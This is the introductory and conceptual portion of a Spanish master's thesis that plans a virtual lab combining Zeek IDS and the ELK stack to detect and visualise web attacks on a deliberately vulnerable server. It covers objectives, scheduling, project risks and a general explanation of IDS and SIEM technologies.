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  Resumen del Trabajo (máximo 250 palabras): Con la finalidad, contexto de 

aplicación, metodología, resultados i conclusiones del trabajo. 

Con el desarrollo de este trabajo de fin de master se pretende realizar el estudio de 

diferentes herramientas de seguridad, y, su posterior explotación, para mostrar al lector 

cómo proceder para crear un sistema de seguridad pasivo, mediante el cual, se va a 

poder llevar a cabo una monitorización, en tiempo real de los ataques, detectados por 

diversas herramientas de seguridad informática. 

Para llevar a cabo dicho sistema de seguridad se desarrollará un laboratorio virtual, en 

el que se van a usar herramientas OpenSource de seguridad como: Zeek IDS y ELK. 

La primera de ellas será el sistema encargado de la detección de intrusiones, el cual, 

su función principal es analizar el tráfico red e interceptar posibles anomalías. La 

segunda tecnología, empleará sus distintos módulos para lograr recibir los eventos 

enviados por el IDS, realizar el procesado de dichos eventos y, por último, exponer los 

datos más importantes en un informe ejecutivo a modo de dashboard. 

Dicho sistema de seguridad se verá directamente relacionado con un servidor de 

aplicaciones web vulnerable, que, será el utilizado para realizar diferentes ataques web 

y, el posterior desarrollo y activación de firmas de IDS personalizadas y por defecto para 

su detección por parte del IDS y visualización en ELK. De esta manera, se pretende 

simular tráfico ilegítimo, el cual, tienen comúnmente muchos servidores web expuestos 

a la red de internet y presentar una posible solución pasiva para llevar a cabo su 

monitorización. 
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  Abstract (in English, 250 words or less): 

With the development of this work, the aim is to carry out a study of different security 

tools, and their subsequent exploitation, to show the reader how to proceed to create a 

passive security system, in order to monitor, in real time, the anomalies detected by 

different security tools. 

To carry out this security system, a virtual laboratory will be developed, in which 

OpenSource security tools such as Zeek IDS and ELK will be deploy. The first of these 

will be the system responsible for intrusion detection, which, its main function is to 

analyze network traffic and intercept possible anomalies. The second technology will 

use its different modules to receive the events sent by the IDS, process these events 

and, finally, present the most important data in an executive report as a dashboard. 

Said security system will be directly related to a vulnerable web application server, which 

will be used to carry out different web attacks and the subsequent development and 

activation of personalized and default IDS signatures for detection by the IDS and display 

at ELK. In this way, it is simulated illegitimate traffic, which, commonly, many web 

servers have exposed to the internet network and present a possible passive solution to 

carry out their monitoring. 
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1.- Introducción 
 

1.1.- Contexto y justificación del Trabajo 
 

Hoy en día, como bien se conoce, los dispositivos electrónicos tienen un vital impacto 

en la vida personal y también en el ámbito profesional. Al tener tal importancia, cada vez 

estarán expuestos más datos sensibles en ellos que, a su vez, son de mucho interés 

para los atacantes. 

Paralelamente, año a año van surgiendo nuevas herramientas que permiten a las 

empresas tener monitorizada en tiempo real toda la actividad de todos sus activos 

tecnológicos con la finalidad de detectar y evitar ataques informáticos. Entre dichas 

herramientas de seguridad, las más utilizadas en la actualidad son: IDS (Intrusion 

Detection System), IPS (Intrusion Prevention System), ePO, Firewalls, WAFs (Web 

application firewall) y SIEM (Security Information and Event Management), entre otras. 

Para dicha detección y prevención de ataques, los distintos dispositivos de seguridad 

utilizarán los eventos que producen y envían las diferentes máquinas de una 

determinada organización. Dicho evento se denomina log, que será un registro de 

información tal como: inicio o fin de sesión en un aplicativo, acceso a un determinado 

recurso, modificación de un fichero, cambios en políticas, ente muchos otros. Estos logs, 

poseen mucha información útil para una empresa ya que con ellos, se pueden 

desarrollar las siguientes tareas: 

➢ Generación de reporting con fines estadísticos. 

➢ Generación de alertas en tiempo real con una posible actividad ilegítima (o 

legítima que esté en monitorización). 

➢ Detectar fallos de rendimiento de un determinado activo. 

➢ Entre muchas otras. 

Por otro lado, almacenar toda esta información de los equipos que forman el esquema 

de una empresa, permitirá poder utilizarlos para análisis de intrusiones y análisis 

forenses con la finalidad de poder detectar el origen de la supuesta intrusión y los 

movimientos realizados, además de hacer posible, durante una supuesta auditoría de 

seguridad, el cumplimiento de ciertos requisitos legales. 

Uno de los problemas más conocidos en este ámbito es la integración entre los distintos 

dispositivos de seguridad, ya que, normalmente son tecnologías diferentes, distintos 

fabricantes, diferentes formatos de logs, etc. Es por ello por lo que es necesario realizar 

un estudio previo de las herramientas para conocer todas sus posibles configuraciones 

y compatibilidades con el resto a emplear. 

A modo de ejemplo ilustrativo de todo lo mencionado anteriormente, cabe destacar el 

cybermap online de la empresa de seguridad Kaspersky, en el cual, se representa a 

modo de dashboard diferentes gráficos relacionados con amenazas web, los cuales, 
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son alimentados de distinta información extraída de logs de seguridad de sus soluciones 

de seguridad. 

 

Ilustración 1 - https://cybermap.kaspersky.com/es/stats/#country=229&type=oas&period=m 

Con todos estos comentarios, con este TFM se pretende dotar al lector de todos los 

conocimientos necesarios para la creación e implementación de un sistema pasivo de 

seguridad, con tecnologías de seguridad OpenSource, que sea capaz de detectar 

anomalías en el tráfico de una red, las cuales, estarán representadas en un informe 

ejecutivo de manera que sea entendible para usuarios no técnicos, como pueden ser 

directivos de una empresa.  

 

1.2.- Objetivos del Trabajo 
 

Se pasan a detallar las competencias generales y específicas que se pretenden llevar a 

cabo con este TFM: 

Objetivos generales: 
 

I. Analizar y desplegar diferentes herramientas de seguridad informática. 

II. Emplear el conocimiento técnico frente a un entorno específico de seguridad. 

III. Analizar y crear un entorno de seguridad utilizando diferentes soluciones 

actuales del mercado de la seguridad informática. 

IV. Reaccionar y buscar alternativas frente a dificultades técnicas encontradas en el 

desarrollo del proyecto. 

V. Adquirir diferente tipo de documentación técnica de diferentes fuentes públicas. 

VI. Visualizar futuras líneas de investigación en un proyecto. 

VII. Redactar documentación técnica y presentación ante un tribunal. 
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Objetivos específicos: 
 

I. Conocer la tecnología IDS (Intrusion Detection System), en especial Zeek IDS, 

y su despliegue. 

II. Estudiar la tecnología SIEM (Security Information and Event Management), en 

especial ELK, y su posterior despliegue. 

III. Estudiar diferentes ataques informáticos y describir su riesgo ante una 

organización. 

IV. Realizar ataques informáticos en un escenario de seguridad. 

V. Analizar eventos de seguridad, logs, producidos por distintos sistemas de 

seguridad. 

VI. Crear reglas de detección de intrusiones web en Zeek IDS. 

VII. Proyectar en un informe ejecutivo un resumen de un ataque informático 

extrayendo los valores más relevantes. 

 

1.3.- Enfoque y planificación del Trabajo 
 

En este TFM se pueden diferenciar 3 grandes apartados claramente diferenciados, los 

cuales, cada uno de ellos tendrán un entregable. 

En la primera fase (Plan de trabajo) se tiene como objeto final llevar a cabo una 

planificación y estructuración correcta de todo el proyecto con la finalidad de definir unos 

hitos claros en el tiempo que conlleven a la realización correcta del TFM. 

Se pueden destacar tareas como: definición de objetivos, definición de metodología, 

definición de tareas y subtareas, planificación temporal de cada tarea y estudio de los 

recursos a emplear. 

De esta primera fase se deberá entregar un primer entregable el día 03/03/2020, con 

todas las tareas recogidas en el posterior diagrama de Gantt. 

 

En segundo lugar (Análisis y estudio de las tecnologías a emplear), se deben de estudiar 

en profundidad dos tecnologías específicas, Zeek IDS y ELK, y su manera de colaborar 

entre ellas. Se abordarán los siguientes apartados: 

- ¿Para qué sirve un IDS/SIEM? 

- ¿Qué soluciones actuales existen? 

- Ventajas y uso del uso de un IDS/SIEM. 

- ¿Cómo se relacionan con las demás tecnologías existentes en una red? 

De la segunda etapa se deberá entregar un primer entregable el día 31/03/2020, con 

todas las tareas recogidas en el posterior diagrama de Gantt. 

 

Una vez que se han estudiado todas las posibilidades que ofrecen estas dos 

herramientas, entra en lugar la tercera fase (Desarrollo de la solución). Esta tercera 

etapa tiene a su vez dos apartados: Fase de provisión y Fase de explotación. 
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En cuanto a la fase de provisión, su finalidad es construir un escenario con las máquinas 

anteriores trabajando de manera colaborativa. Durante esta fase, se llegará a cabo la 

se configurará todo el entorno de laboratorio virtual necesario para la posterior 

explotación y se realizará la integración de los eventos del IDS en el ELK. 

Por último, en la fase de explotación, se debe de explotar el uso del laboratorio 

anteriormente creado para la realización de un informe ejecutivo con la posibilidad de 

visualizar intrusiones informáticas de una manera sencilla. Se llevarán a cabo los 

siguientes puntos: 

- Realización de pruebas. 

- Realización de mejoras en el rendimiento del laboratorio. 

- Realización de informes. 

- Desarrollo reglas IDS. 

- Explotación del entorno. 

- Realización de la documentación de esta parte. 

Esta tercera fase tiene una clara diferencia respecto a las dos anteriores debido a que 

es la que más tiempo abarca en toda la planificación del TFM. 

Esta tercera etapa tiene un último entregable, el día 28/04/2020, antes de la entrega 

final del proyecto, el día 02/06/2020. 

Como se puede apreciar, este trabajo combinará un apartado de investigación, que 

englobaría las dos primeras fases, Plan de trabajo y Análisis y estudio de las tecnologías 

a emplear, junto con un apartado de desarrollo, que se correspondería con el apartado 

3, Desarrollo de la solución. 

Por lo tanto, como se ha comentado, este TFM tendrá los siguientes entregables: 

 

Entregable Fecha de entrega  

Entregable 1 – Plan de trabajo 03/03/2020 

Entregable 2 – Análisis y estudio 

de las tecnologías a emplear 
31/03/2020 

Entregable 3 – Desarrollo de la 

solución de seguridad 
28/04/2020 

Entregable 4 – Entregables finales 02/06/2020 
Tabla 1 - Resumen entregables del proyecto 

 

Para ver donde se situaría cada uno de los entregables dentro de la planificación global 

se muestra el siguiente esquema temporal del proyecto: 
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Ilustración 2 – Microsoft Project - Escala de tiempo de la planificación del proyecto 

Por lo tanto, se pasa a mostrar el detalle de la planificación temporal de cada fase y 

cada una de sus subtareas: 

 

Ilustración 3 - Microsoft Project - Planificación tareas del proyecto 

En base a la anterior planificación temporal de las tareas expuestas anteriormente, se 

ha realizado un diagrama de Gantt, el cual, se muestra a continuación:  

Inicio 
dom 

23/02/20 

Fin 
dom 

31/05/20 

 

24 

feb 

'20 

02 

mar 

'20 

09 

mar 

'20 

16 

mar 

'20 

23 

mar 

'20 

30 

mar 

'20 

06 

abr 

'20 

13 

abr 

'20 

20 

abr 

'20 

27 

abr 

'20 

04 

may 

'20 

11 

may 

'20 

18 

may 

'20 

25 

may 

'20 1.- Plan 

de 

trabajo 
 

2.- Análisis y estudio de 

las tecnologías a emplear 
mar 03/03/20 - mié 

25/03/20 

3.- Desarrollo de la solución de 

seguridad 
jue 26/03/20 - mar 28/04/20 

4.- Entregables finales 
mié 29/04/20 - dom 31/05/20 

Entregable 1 
lun 02/03/20 

Entregable 2 
mié 25/03/20 

Entregable 3 
mar 28/04/20 

Entregable 4 
dom 31/05/20 



 

Ilustración 4 - Microsoft Project - Diagrama de Gantt del proyecto



1.4.- Recursos 
 

A continuación, se pasan a enumerar, en alto nivel, los recursos necesarios para la 

consecución de todos los objetivos generales y específicos de este Trabajo: 

i. Laboratorio software formado con VirtualBox sobre un sistema operativo nativo 

de Windows 10. Software virtualizado: Ubuntu server, Ubuntu, Debian y Kali 

Linux. 

ii. Software del IDS y SIEM a integrar. 

iii. Documentación oficial de las tecnologías a emplear. 

iv. Artículos técnicos y diversos blogs de seguridad relacionados con el tema a 

tratar. 

v. Navegadores web para búsquedas de información. 

vi. Software de programación de proyectos. 

vii. Software de edición y visualización de documentos. 

 

1.5.- Riesgos en el desarrollo del Trabajo 
 

A continuación, en este apartado se pretende identificar los riesgos que tiene el 

desarrollo del proyecto actual y realizar una evaluación de estos para poder extraer una 

posible mitigación ante el incidente encontrado. 

 

1.5.1.- Identificación de riesgos 
 

• R01 – Desfase temporal de alguna de las tareas en base a la planificación inicial 

del proyecto.  

Puede darse el caso que surja algún imprevisto durante cualquiera de las fases 

del proyecto, el cual, puede demorar la fecha de fin de la planificación de dicha 

tarea. Por ejemplo, trabajo extra no contemplado, incidencia software/hardware, 

entre otras. 

 

• R02 - Incidencias en el empleo/configuración de las tecnologías de seguridad 

empleadas en el entorno del laboratorio virtual.  

Puede ocurrir la situación, en la cual, la curva de aprendizaje de alguna de las 

herramientas a emplear se extienda más de lo previsto. 

 

• R03 - Incidencias en el hardware empleado en el proyecto. 

En esta cuestión se refiere a incidencias técnicas del hardware empleado en el 

TFM, el cual, sería el ordenador personal. Por ejemplo, fallo disco, fuente de 

alimentación, rotura física del dispositivo, etc. 

 

• R04 - Problemas en el recurso humano empleado al proyecto.  

Puede darse el caso que el recurso humano produzca retrasos en el proyecto, 

por ejemplo, por enfermedad. 
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• R05 - Obtención de resultados diferentes a los esperados.  

Esto se produciría en la fase de desarrollo cuando se realizan pruebas de las 

configuraciones realizadas y los resultados no son los esperados. 

 

1.5.2.- Evaluación de los riesgos y mitigación. 
 

Para cada riesgo identificado en el apartado anterior, se pasa a comentar el nivel de 

riesgo de cada uno de ellos junto con una posible mitigación al mismo. 

 

• R01  

o Nivel del riesgo: Alto 

o Respuesta ante el riesgo: Aumento del tiempo diario dedicado al 

proyecto con la finalidad de poder remontar el tiempo perdido por el 

incidente detectado y poder llegar a tiempo para la fecha de fin de la 

actividad. 

• R02  

o Nivel del riesgo: Alto 

o Respuesta ante el riesgo: Con el fin de buscar una solución al problema 

de configuración/uso de alguna de las tecnologías, se debe de realizar 

una búsqueda mucho más activa en blogs y documentación oficial del 

fabricante y, además, se puede preguntar en diversos foros técnicos para 

buscar ayuda desde el exterior. 

• R03  

o Nivel del riesgo: Bajo 

o Respuesta ante el riesgo: Levantar un backup de las máquinas y 

replicar configuraciones. Para poder llevar a cabo esta respuesta ante el 

incidente, es necesario realizar de forma periódica un backup de las 

máquinas empleadas tanto de contenido como de configuración de estas. 

• R04  

o Nivel del riesgo: Medio 

o Respuesta ante el riesgo: La manera de actuar en este caso será similar 

a R01. En el momento en el que el recurso humano vuelva a estar 

operativo, se deberá de recuperar con horas extras todo el tiempo 

perdido de la tarea donde se haya producido el retraso.  

• R05  

o Nivel del riesgo: Medio 

o Respuesta ante el riesgo: Realizar un estudio de los resultados 

obtenidos comparándolo con los esperados y realizar una planificación 

extra para intentar conseguir los objetivos esperados siguiendo otra 

metodología no contemplada en la planificación actual. 
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1.6.- Estado del arte 
 

En este punto se pretende mostrar, mediante un enfoque de muy alto nivel, la finalidad 

principal y herramientas utilizadas en el presente proyecto. Conforme se avance en la 

lectura de esta documentación se irá profundizando más en cada uno de los puntos 

expuestos en este apartado. 

Este TFM se basa en el uso y explotación de dos tecnologías principales, las cuales, se 

pasan a describir a alto nivel: 

 

- IDS.  

IDS, es la abreviatura de Intrusion Detection Systems, Sistema de detección de 

intrusiones, en español. El principal objetivo de esta tecnología de seguridad es 

analizar el tráfico de red para buscar síntomas de ataques e intrusiones. La 

detección de dichos intentos de intrusión permite a una determinada entidad 

proteger sus sistemas críticos frente a amenazas, las cuales, podrán venir desde 

el exterior de la organización, o incluso desde el interior de esta. 

Con el objetivo de poder sacar el máximo partido a las detecciones de estas 

tecnologías, es muy común en un esquema real de seguridad de una entidad 

que los IDS trabajen junto con otras herramientas de seguridad como, por 

ejemplo, un SIEM. 

Nos encontramos con distintos fabricantes de IDS, como por ejemplo: Snort, 

Suricata, Zeek IDS, Security Onion, Samhain, entre muchas otras. 

Para el caso concreto de este proyecto, se va a emplear Zeek IDS. Zeek IDS, es 

una herramienta OpenSource cuyo objetivo es la detección de anomalías en el 

tráfico red, basado en firmas, con un modo pasivo. Cabe comentar que 

recientemente ha cambiado de nombre y se corresponde con el antiguo Bro IDS. 

Cada detección que realiza Zeek IDS, la almacenará en un fichero de log para 

facilitar su posterior análisis y monitorización. Aunque más adelante se detallará, 

cabe mencionar las dos partes de este IDS, las cuales, dotan a este sistema de 

detección de intrusiones todo su potencial: el motor de eventos y el intérprete de 

Scripts. 

 

- SIEM.  

Por otro lado, con el objetivo de poder extraer un mayor valor de las detecciones 

del IDS comentado anteriormente, se va a utilizar en este proyecto un SIEM. Un 

SIEM, o correlador, facilita a los analistas de seguridad a llevar una gestión de 

la seguridad de la red de un cliente de una manera más eficiente. Las funciones 

principales de estos dispositivos generalmente son: 

o Recoger eventos de seguridad de diferentes tecnologías. 

o Realizar una normalización de dichos eventos con la finalidad de poder 

extraer los campos de mayor interés de estos. 

o Generación de alertas de seguridad en base a los eventos recibidos, 

permitiendo una monitorización en tiempo real de los posibles ataques 

en una organización. 

o Almacenamiento de eventos. 

o Respuesta ante incidentes de seguridad. 
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Algunos ejemplos de tecnologías SIEM son: RSA NetWitness, Alienvautl, 

Arcsight, Qradar, Splunk, entre muchas otras. 

 

 

Ilustración 5 - https://www.rapid7.com/info/gartner-2020-magic-quadrant-siem/ 

Para el caso concreto de este proyecto, se va a emplear ELK. ELK conforma un conjunto 

de herramientas, las cuales, trabajando de una manera contigua facilitan la recogida de 

eventos de seguridad, búsqueda entre dichos eventos, y, además, el análisis y 

representación de informes ejecutivos con información de dichos eventos en tiempo real. 

Los tres componentes que forman la pila ELK son: Elasticsearch, Logstash y Kibana. 

Mediante el empleo de estas dos medidas de seguridad se pretende montar un 

laboratorio de seguridad simulando un pequeño entorno empresarial, en el cual, se 

podrá detectar diferentes tipos de ataques y su visualización de un dashboard a tiempo 

real. 

 

1.7.- Breve sumario de los productos obtenidos 
 

Una vez que se haya completado el desarrollo de este proyecto se espera haber logrado 

los siguientes resultados: 

i. Sistema de seguridad pasivo completo formado por tecnologías OpenSource: un 

Zeek IDS, ELK y un servidor web vulnerable. 

ii. Realización de ataques web y analizar la detección del IDS de dichos ataques. 

iii. Representación mediante un informe ejecutivo de los eventos de seguridad 

recogidos por el IDS de la solución. 

iv. Representación en un informe de monitorización diferentes métricas del sistema 

crítico de la solución. 

v. Documentación de uso, instalación y estudio de todos los puntos anteriores. 
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1.8.- Breve sumario de los otros capítulos de la memoria 
 

En este apartado se pasan a describir de forma general los diferentes apartados que 

forman la presente memoria: 

- Capítulo 1 – Introducción 

En este primer capítulo se puede encontrar toda la descripción, objetivos y 

planificación del proyecto a desarrollar. Además, se puede encontrar una lista de 

recursos junto con los riesgos asociados al desarrollo de dicho proyecto. Con 

todo ello se pretende mostrar al lector un enfoque de lo que abarca y no abarca 

el presente proyecto. 

 

- Capítulo 2 – Análisis y estudio de las tecnologías a emplear 

En el segundo capítulo de la memoria, se localiza un análisis y estudio de las 

principales tecnologías que intervienen en la solución de seguridad propuesta. 

El objetivo de este capítulo es dotar al lector de los conocimientos necesarios 

para la comprensión y desarrollo de la solución de seguridad que se 

implementará en los siguientes apartados. 

 

- Capítulo 3 – Desarrollo de la solución de seguridad 

En este capítulo se diferencian dos partes. En un primer lugar, se puede 

encontrar la fase de provisión en la que se prepara todo el entorno de laboratorio 

y se instala todo el software necesario que va a intervenir en dicha solución. 

Además de la instalación, se lleva a cabo unas primeras configuraciones para 

dejar el entorno lo más preparado posible para la siguiente fase, la fase de 

explotación. En la segunda fase, se lleva a cabo el estudio y desarrollo de nuevos 

scripts personalizados para Zeek con la finalidad de extender su funcionalidad y 

detectar nuevas detecciones en base a firmas que no se contemplan por defecto 

en esta herramienta. Además del desarrollo, se llevan a cabo unas pruebas de 

funcionamiento para verificar todo el correcto trabajo de esta. 

 

- Capítulo 4 – Conclusiones 

En este apartado se incluyen las conclusiones extraídas después del desarrollo 

de todo el trabajo, junto con una justificación de la consecución de todos los 

objetivos generales y específicos iniciales. Además, se incluyen unas líneas de 

trabajo futuras, las cuales, mejorarían la solución de seguridad expuesta en el 

presente trabajo. 

 

- Capítulo 5 – Glosario 

Se incluyen los diferentes términos que se han empleado durante todo el 

progreso del trabajo, junto con una breve descripción de estos. 

 

- Capítulo 6 – Bibliografía 

En este capítulo se incluyen todos los recursos empleados en el trabajo y, que 

de alguna, manera han influido en el desarrollo de este. 

 

- Capítulo 7 – Anexos 

Se expone contenido de ficheros de configuración, scripts desarrollados, 

visualización de los dashboards finales, entre otros.  
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2.- Análisis y estudio de las tecnologías a emplear 
 

2.1.- Sistema de detección de Intrusiones (IDS) 

2.1.1.- Definición  
 

Debido al crecimiento innegable de los dispositivos electrónicos que forman las redes 

informáticas de una empresa, surge la necesidad de poder llevar un cierto control y 

monitorización del tráfico que cursan dichas redes, con la finalidad principal de detectar 

posibles anomalías o intentos de intrusión en estas. Es aquí donde entran en lugar los 

sistemas de detección de intrusiones, IDS en adelante. Cabe mencionar que los IDS 

han ganado mucha aceptación como una herramienta de seguridad fundamental en el 

mapa de red de una determinada organización, por diversos motivos que serán 

comentados en este apartado. 

Se entiende por intento de intrusión cualquier acción que intente comprometer la 

integridad, disponibilidad o pretenda evadir cualquier protección de seguridad en un 

equipo concreto o en una red de computadores. Nos podemos encontrar frete a distintos 

tipos de intrusiones, por ejemplo, es posible diferenciar intrusiones procedentes del 

exterior, como sería la de un atacante que pretenda entrar en un equipo protegido, o 

desde el interior, como podría ser un usuario realizando acciones que se salen de sus 

permisos establecidos a nivel de política. 

Como primacías de la utilización de un IDS, nos encontramos con las siguientes: 

- Detección de ataques e intentos de intrusión que otros dispositivos de seguridad 

no serían capaces de detectar por sí solos. 

- Detección y alerta a los administradores de un determinado equipo informático 

cuando se produce una violación de seguridad que no pudo ser prevenida por la 

configuración de dicho equipo. 

- Se podrá llevar una documentación de los intentos de intrusión existentes en 

dicho equipo o red de ordenadores. 

- Integración de sus eventos con otros dispositivos de seguridad para realización 

de acciones conjuntas. 

Como una primera clasificación importante que se puede realizar de esta tecnología, es 

en base a la procedencia de los datos: 

- Host IDS o HIDS.  

En esta familia es donde se sitúa el enfoque inicial de los IDS, ya que iban 

encaminados hacia la monitorización de equipos (Hosts) específicos. Por lo 

tanto, este tipo de IDS pretende llevar una monitorización activa de distintos 

eventos pero de un host específico, en el cual, estará instalado el software del 

IDS.  
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o Ventajas: 

▪ Esta familia de IDS tiene una gran ventaja y es que, al formar 

parte de un propio endpoint, en caso de intrusión, puede reportar 

con una gran precisión las causas de esta. 

▪ Pueden analizar tráfico que por la red viaja cifrado, ya que, al 

situarse en el propio host, puede inspeccionar el tráfico saliente 

de él antes de que éste sea cifrado y enviado por dicho host de 

vuelta al exterior o viceversa.  

o Desventajas: 

▪ Los HIDS solo son capaces de detectar intrusiones en un solo 

host (donde están instalados) no de una red. 

▪ Al estar alojado en el host a monitorizar la actividad, consumirá 

los recursos de ese dispositivo y podrá afectar a su rendimiento. 

▪ Si la máquina donde se encuentra el Host es comprometida, se 

podrá deshabilitar las funciones del IDS al estar corriendo en la 

misma máquina. 

- Network IDS o NIDS.  

A diferencia de los HIDS, este tipo de IDS se centra en la monitorización de 

anomalías pero a nivel de red local. Para llevar a cabo esas detecciones, los 

NIDS analizarán todo el tráfico, de diferentes protocolos, que circula por la red 

en la que se encuentran. Por lo tanto, si se coloca correctamente el IDS dentro 

del mapa de red de una empresa podrá analizar mucho volumen de tráfico, 

ayudando así, a las posibles detecciones de anomalías. 

o Ventajas:  

▪ Detección de ataques de toda una red empresarial y no solo en 

un único host. 

▪ Este tipo de IDS tiene un bajo impacto en cuanto a su uso debido 

a que normalmente actúan de modo pasivo en una red, 

inspeccionando el tráfico que circula por ella.  

▪ Pueden pasar desapercibidos ante ataques si se encuentran bien 

localizados en el mapa de red. 

o Desventajas: 

▪ Si el tráfico en la red donde está situado se encuentra cifrado, el 

IDS no va a poder localizar ningún patrón de ataque en él, 

quedando este tráfico invisible para él. Por lo tanto, un atacante 

podría utilizar este método para saltarse la protección de estos 

dispositivos. 

▪ Pueden presentar problemas de rendimiento si el volumen de 

tráfico es muy elevado comparado con la capacidad de análisis 

del IDS utilizado. 

Además de la anterior clasificación por el tipo de detecciones que realizan, podemos 

realizar otra en base a la manera de identificar las anomalías por parte de estos equipos. 

En este apartado podemos diferenciar: detección de firmas o en detección de 

anomalías. 
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- Detección de firmas. 

La manera que tienen de actuar los IDS basados en detección en base a firmas, 

es analizar el log que recibe y buscar coincidencias en él con una base de datos 

de firmas que tienen preinstalados (o firmas personalizadas). En caso de 

encontrar una coincidencia con una (o varias) firma, levantará una detección. 

o Ventajas: 

▪ Efectividad en la detección de ataques sin generar un gran 

número de falsos positivos. 

▪ Se pueden generar firmas específicas para monitorizar un evento 

determinado del que se quiera tener un control. 

o Desventajas: 

▪ En caso de que un atacante modifique su manera de actuar, no 

coincidiendo con ninguna firma, el ataque pasará desapercibido 

para el IDS. 

▪ Este tipo de detección solamente es capaz de interceptar ataques 

conocidos por él, es decir, ataques que coincidan con su set de 

firmas. 

- Detección de anomalías. 

Con la detección de anomalías se pretende detectar un comportamiento que se 

salga de un procedimiento legítimo conocido, pudiendo de esta manera detectar 

movimientos que no son los comunes y pudieran ser un ataque. Por lo tanto, 

para este tipo de detección, toda actividad que no sea el comportamiento 

legítimo conocido será categorizado como un ataque. 

Para determinar lo que el IDS entenderá como una acción legítima, normalmente 

este tipo de IDS trabaja mediante una elaboración de perfiles, en los cuales, se 

recoge un comportamiento “normal” y sobre él se realizarán las comparaciones. 

Se utilizan diferentes técnicas, como definición de ciertos umbrales para ciertas 

acciones de un usuario, o también, medidas estadísticas. 

o Ventajas: 

▪ A diferencia del grupo anterior, estos IDS podrán detectar ataques 

no conocidos previamente. 

▪ Sus detecciones pueden ser empleadas para aprender nuevas 

vías de ataque y buscar una protección frente a ellos por otras 

vías. 

o Desventajas: 

▪ Generan un gran número de falsos positivos. 

▪ Periodo de aprendizaje largo en el cual deberán recibir todo tipo 

de tráfico legítimo para intentar evitar generar un gran número de 

falsos positivos. 

Podemos encontrarnos una última clasificación de IDS en base a la respuesta ante las 

detecciones realizadas. Los IDS pueden actuar de dos maneras frente a detecciones: 

modo pasivo y modo reactivo. La primera de ellas sería únicamente alertando de un 

posible intento de intrusión, por lo tanto, el IDS no ejecuta ninguna acción adicional 

(salvo generar la alerta) y se dice que actúa en modo pasivo. Para la segunda de ellas, 

el IDS reaccionará frente a la detección evitando que el ataque continúe y tenga éxito. 

Los dispositivos que gestionan este tipo de respuestas ante incidentes se denominan 

Intrusion Prevention Systems, IPS. 
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2.1.2.- Zeek IDS 
 

Zeek IDS, es el nuevo nombre del antiguo conocido Bro IDS. Zeek es un IDS 

OpenSource pasivo, el cual, mediante el análisis del tráfico de red pretende detectar 

actividades ilegítimas. Para el análisis del tráfico que viaja por una red, esta tecnología 

soporta la inspección de tráfico de diferentes protocolos, como pueden ser: DNS, HTTP, 

FTP, SSH, entre otros. En cuanto al alcance de este IDS, Zeek soporta la monitorización 

de redes de alta velocidad y alto volumen, ya que, gracias al empleo de clusters de Zeek 

un balanceador de carga podrá repartir el tráfico entre diferentes nodos. 

Con la inspección y análisis del tráfico de red que realiza este IDS, se generarán una 

serie de ficheros de logs que registran toda la actividad capturada en términos de alto 

nivel. Zeek, almacenará toda esta información de una forma muy estructurada para 

facilitar la tarea de procesamiento posterior de un software externo. Es posible en Zeek 

modificar dicho almacenamiento de eventos para cubrir las necesidades del 

administrador del sistema. 

En cuanto a la arquitectura sobre la que se basa Zeek IDS, caben destacar dos 

componentes principales: 

- Event engine (core).  

Es el motor de eventos y su principal función es organizar los diferentes grupos 

de paquetes de red para reducirlos y convertirlos en un conjunto de eventos de 

un nivel superior para que puedan ser analizados. En conclusión, el core 

describe el evento que ha visto pero no extrae ninguna conclusión adicional 

sobre él. 

- Policy script interpreter.  

Con el intérprete de scripts, se pueden definir las acciones a tomar cuando se 

realice una detección por parte del IDS, es decir, se puede definir la política de 

seguridad de un site. Cabe destacar que el lenguaje en el que se define este tipo 

de scripts es nativo de Zeek y está basado en eventos. Con este interprete de 

scripts, se pueden generar alertas en tiempo real ante un ataque, para que pueda 

ser analizada por un analista de seguridad, y además, permite activar una 

respuesta activa ante un ataque mediante la llamada a la ejecución de un script 

externo. 

 

Ilustración 6 - https://docs.zeek.org/en/current/intro/ 
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En conclusión, se puede ver como Zeek IDS no se corresponde con un sistema clásico 

de detección de intrusiones basado en firmas, ya que, aunque también ofrece esta 

posibilidad de detección, mediante la ejecución de scripts se puede ampliar la 

funcionalidad de este, pudiendo de esta manera facilitar la detección de anomalías, 

monitorización del rendimiento y comportamiento y, por ejemplo, detección del mal uso 

semántico. 

 

2.2.- SIEM 

2.2.1.- Definición 
 

En la actualidad, un aspecto muy destacable dentro de la seguridad informática es la 

gestión y tratamiento de amenazas o intrusiones, mediante el cual se pretende extraer 

todo el detalle posible y la vía de entrada de la posible intrusión. Es aquí donde destaca 

la actividad de un SIEM, o correlador de eventos, ya que su principal funcionalidad es 

la de ayudar a los administradores de red a llevar una mejor gestión de la seguridad de 

ésta de una manera más eficiente.  

En una organización se generan un número de eventos por segundo, EPS, muy elevado, 

de todos los dispositivos de una entidad, y es necesaria la centralización de dichos 

eventos para una gestión más apropiada de los mismos. Los SIEMs serán los 

encargados de centralizar dichos eventos para su posterior gestión, actuando así como 

un repositorio de eventos de una empresa. Esos eventos, posteriormente, serán 

tratados y podrán ser empleados para monitorizar, documentar e incluso responder 

posibles incidentes de seguridad. 

Al disponer de todos los eventos de seguridad centralizados en un único dispositivo, el 

SIEM, se va a poder correlacionar toda la actividad registrada, para seguir todo el flujo 

de un atacante y poder generar alertas en tiempo real en base a una sucesión de 

eventos a monitorizar. A su vez, cuando se genere una alerta de correlación en un SIEM, 

en muchos de ellos, se podrán tomar acciones de contención del ataque al permitir 

ejecutar scripts remotos en otros dispositivos de seguridad. Como ejemplo a esto último, 

sería si se genera una alerta de un escaneo procedente de una IP externa, se generará 

una alerta en el SIEM y se podrá llamar a un script de bloqueo temporal de IP en el 

firewall perimetral de la empresa. Aparte de esta monitorización que ofrecen los siem en 

tiempo real, también podrán ser utilizados para realizar análisis de intrusiones pasadas 

al disponer de los logs normalizados almacenados durante un periodo temporal fijado. 

La abreviatura SIEM, Security Information and Event Management, apareció de la 

combinación de SIM (Security Information Management) + SEM (Security Event 

Management). SIM, tendrá una función principal, que es la de almacenamiento de todos 

los logs en un repositorio de eventos, a largo plazo, para facilitar la monitorización, 

análisis forense ante un incidente y realización de informes. Por otro lado, el SEM, a 

diferencia del anterior, se encargará de la monitorización en tiempo real de los distintos 

eventos que le llegan a través de los sensores, para la generación de alertas para iniciar 

una posible investigación. Por lo tanto, combinando las funcionalidades de ambas 

tecnologías, un sistema SIEM ofrecerá: 
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- Correlación de eventos de seguridad y generación de alertas en tiempo real. 

- Gracias al almacenamiento de los eventos a largo plazo, se permitirá: 

o Realización de informes  

o Análisis forense de un incidente de seguridad. 

o Garantizar el cumplimiento de las regulaciones actuales en el ámbito de 

las TIC. 

